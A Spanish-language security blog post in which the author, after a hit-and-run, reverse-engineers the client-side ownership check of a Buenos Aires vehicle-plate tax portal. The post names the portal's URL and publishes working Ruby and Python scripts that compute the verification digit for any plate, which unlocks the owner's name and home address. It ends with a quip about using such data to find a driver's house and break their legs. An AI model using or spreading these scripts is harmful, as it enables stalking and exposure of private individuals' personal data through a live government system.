Nuevas Entradas

¿Quién te choco? Hackeando Patentes

by hdbreaker

Hace algún tiempo tuve la mala fortuna de estar envuelto en un accidente de trafico algo grave, donde yo por viajar en moto, me lleve la peor parte. Totalmente en contra a lo que esperaba, el responsable del accidente no se detuvo a asistirme, por su parte prefirió darse a la fuga.

Luego de todos los protocolos médicos, unos cuantos moretones y tras no encontrar respuestas en la policía por falta de testigos, decidí comenzar una búsqueda personal de identificación del vehículo con el único dato que había logrado divisar en el golpe.
###su numero de patente###
Por cuestiones de confidencialidad no utilizare la patente real del agresor sino una que alcance a leer en el registro del automotor mientras realizaba los tramites del seguro.

¿La pregunta?

Existe algún sistema que me permita consultar los datos y el estado de un vehículo que transita en la calle actualmente? La respuesta es si!

Luego de algunas consultas a google, logre dar con un servicio de Rentas en la provincia de Buenos Aires que nos permite consultar el estado de deudas de patentes que tiene un vehículo.


El mismo tiene dos formas de funcionar, si no eres el propietario solamente puedes obtener los datos correspondiente a deudas sobre el automóvil pero el sistema no te permite acceder a las secciones que identifica a la persona registrada en el Registro del Automotor como titular del vehículo.

Por otro lado, para comprobar la titularidad del vehículo, el sistema solicita ingresar un numero de verificación especial único que solo el dueño del automóvil debe poseer, ya que el mismo sirve para imprimir boletas de pago de deudas que incluyen los datos personales del propietario del automotor, de esta forma garantiza la privacidad de los datos de los usuarios.

Lo primero que podemos analizar en el sitio, es que el dígito especial y verificador del sistema, solo acepta valores que van desde 00 a 99 (el valor no es tan único como uno cree)

En fin, la patente a estudiar en esta entrada sera JMO089, luego de realizar algunas pruebas manuales podemos apreciar que el captcha del sistema nunca es actualizado una vez que nos encontramos asociado a una sesión, permitiéndonos probar de forma manual las 99 combinaciones posibles hasta dar con la correcta.


En la imagen podemos apreciar que el captcha no cambia a medida que vamos probando posibles combinaciones numéricas hasta lograr dar con el correcto, por lo que da la posibilidad de programar un Brute Forcer que valla probando todos los valores posibles hasta dar con el indicado. Pero un ataque así representa un problema al tener que enfrentarnos con un captcha, cosa que no estaba dispuesto por una falta de tiempo para programar un OCR.

La pregunta que me formule fue:

Cual es la forma en que el sistema valida el valor correcto del dígito verificador?

Lo primero que pensé es que el sistema validaba el valor del lado del servidor luego de la consulta, por lo que me puse a comprobar las peticiones que realizaba el sitio al momento de enviar el formulario. Para esto utilice Live HTTP headers



Al encontrarme con esto, no podía creer lo que estaba viendo, técnicamente hablando si una validación no presenta una petición web hacia el Backend, quiere decir que la validación se esta realizado del lado del cliente osea:

EL SISTEMA VALIDA POR JAVASCRIPT! 

Esto implica que el algoritmo de validación del código verificador se encuentra servido en algún archivo javascript del lado del navegador, por lo que me puse a analizar el source html del documento para lograr identificar algún indicio de la validación. Lo primero que analice fueron los siguientes archivos:


Dentro del archivo consultaDatos.js encontré la siguiente función con un nombre revelador: validaDatos

 
if (!check.checked && patente.valido(dom1) != true)
En la misma función se puede apreciar  en las lineas remarcadas la estructura donde se decide el mensaje de patente valida cumpliendo los requisitos de que el checkbox se encuentre marcado y el resultado de la función patente.valido() sea el necesario para resolver de forma correcta la estructura de decisión if().

El problema resulto que la función patente.valido() no se encontraba dentro del mismo documento, por lo que debía encontrar el fichero donde se encontraba la misma.

Para lo que no conozcan el funcionamiento de javascript, les aclaro que los ficheros js representan un gran código estructurado dividido en distintos archivos para mejorar su organización, pero siempre que estos archivos sean incluidos en el html los mismos pueden realizar llamadas a las funciones definidas entre ellos como si todos fueran miembros de la misma clase.

Luego de buscar un poco, llegue al siguiente archivo:


Dentro del mismo podemos obtener la estructura del código validador:


Función Completa: http://pastebin.com/gYTdC9Yh

Luego de analizar detenida mente el código pude develar el comportamiento final del mismo.

El código calcula el dígito verificador en base a la patente del vehículo, sustituyendo las letras por números especiales para formar una cadena decimal, que luego suma según su indice, pares por un lado e impares por otro, como si de un array se tratase.


Luego si estos valores separados (digi1 y digi2) tienen un largo superior a un dígito (0 a 9), vuelve a sumarlos respectivamente hasta obtener 2 números de forma independiente con un largo de un dígito (0 a 9).

Y luego los concatena para obtener el numero mágico verificador:
Lo que resulta algo cómico es que esta función no tiene ninguna protección, y puede ser llamada desde la consola de desarrollo de Google Chrome o Firefox:

Con este numero verificador podemos realizar la consulta de forma exitosa:



Al momento de solicitar una factura podemos apreciar los datos personales como el nombre del titular registrado y la dirección residencial del mismo:


Realizando un poco de ingienería inversa desarrolle el siguientes scripts que permiten calcular cualquier dígito verificador solo con el numero de patente:

Ruby:


require 'colorize' #By hdbreaker

class Calculate 

  def initialize()
   
    #inicializo array asociativo de clase
    @letrasValidas ={'A' => '14','B' => '01','C' => '00','D' => '16','E' => '05','F' => '20','G' => '19',
                     'H' => '09','I' => '24','J' => '07','K' => '21','L' => '08','M' => '04','N' => '13',
                     'O' => '25','P' => '22','Q' => '18','R' => '10','S' => '02','T' => '06','U' => '12',
                     'V' => '23','W' => '11','X' => '03','Y' => '15','Z' => '17',' ' => '60',};
  end

  #Funcion para calcular el numero de patente
  def calculate(patente)
    patAux = patente.upcase;
    pares = 0;
    impares = 0;

    #Bloque para sustituir las letras por los numeros correspondisntes
    @letrasValidas.each { |key|
      if(patAux.include? key[0])
        patAux = patAux.gsub(key[0], key[1]);
      end
    }

    #Sumo los imares por un lado y los pares por el otro
    for x in (0...patAux.length)
      if (x % 2 == 0)
        pares += patAux[x].to_i;
      else
        impares += patAux[x].to_i;
      end
    end

    #Si la sumatoria de los pares da un numero mayor a 1 digito, los sumo nuevamente hasta obtener 1 digito
    digi1 =pares.to_s;
    while (digi1.length > 1)
      pares = 0;
      for x in (0...digi1.length)
        pares += digi1[x].to_i;
      end
      digi1 = pares.to_s;
    end

    #Si la sumatoria de los impares da un numero mayor a 1 digito, los sumo nuevamente hasta obtener 1 digito
    digi2 =impares.to_s;
    while (digi2.length > 1)
      impares = 0;
      for x in (0...digi2.length)
        impares += digi2[x].to_i;
      end
      digi2 = impares.to_s;
    end

    ###############Salida en Pantalla###############
    puts "\n############## Rentas Ciudad de Buenos Aires ##############".green
    puts "URL: ".green+"https://lbserver02.agip.gob.ar/ConsultaPat/index.html".red
    puts "Dominio: ".green+patente.red
    puts "Verificador: ".green+digi1.red+""+digi2.red
    puts "\n"
  end
end

if(ARGV.length==1)
  obj = Calculate.new()
  obj.calculate(ARGV[0].to_s)
else
  puts "Usage: ruby calculate.rb [patente]"
end



También dejo a continuación el script en python que armo [Q]3rV[0]
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# Author : [Q]3rV[0]

import re

def main():
    pares=0
    impares=0
    letrasPatente={"A":"14", "B":"01", "C":"00", "D":"16", "E":"05", "F":"20", "G":"19", "H":"09", "I":"24", "J":"07", "K":"21", "L":"08", "M":"04", "N":"13", "O":"25", "P":"22", "Q":"18", "R":"10", "S":"02", "T":"06", "U":"12", "V":"23", "W":"11", "X":"03", "Y":"15", "Z":"17", " ":"60"}
    input=raw_input("Nro Patente: ")
    patente=input.upper()
    if re.match("[A-Z][A-Z][A-Z][0-9][0-9][0-9]$", patente)!=None:
        toInt=""
        for n in patente[0:3]:
            toInt+=letrasPatente[n]
        nums=toInt+patente[3:] 
        
        for n in range(len(nums)):
            if n%2==0:
                pares+=int(nums[n])
            else:
                impares+=int(nums[n])


        while len(str(pares))!=1:
           dp=0
           for p in str(pares):
               dp+=int(p)
           pares=dp
          

        while len(str(impares))!=1:
           di=0
           for i in str(impares):
               di+=int(i)
           impares=di
     

        
        print "| Patente: %s | DV: %s%s |" % (patente, pares, impares)

    else:
        print "[*] Error, Asegurese de que el formato de la patente es correcto. Ejemplo: GTD125"
       
if __name__ == '__main__':
    main()



Espero que esta entrega sirva para concientizar sobre la seguridad de nuestros datos personales, ya que recordemos que el fallo se encuentra en una red gubernamental que expone de forma descarada los datos personales de las personas.

Y si eres conductor... no vallas por la calle creyéndote intocable, nunca sabes con quien te puedes cruzar ni para que pueda utilizar tus datos, tal vez te encuentres con una persona que en vez de reportar el fallo utilice tu información para encontrarte, ir hacia tu casa y romperte las piernas.

Saludos!



 



Share this:

 
Copyright © 2014 Security Signal.
Designed by OddThemes | Distributed By Gooyaabi Templates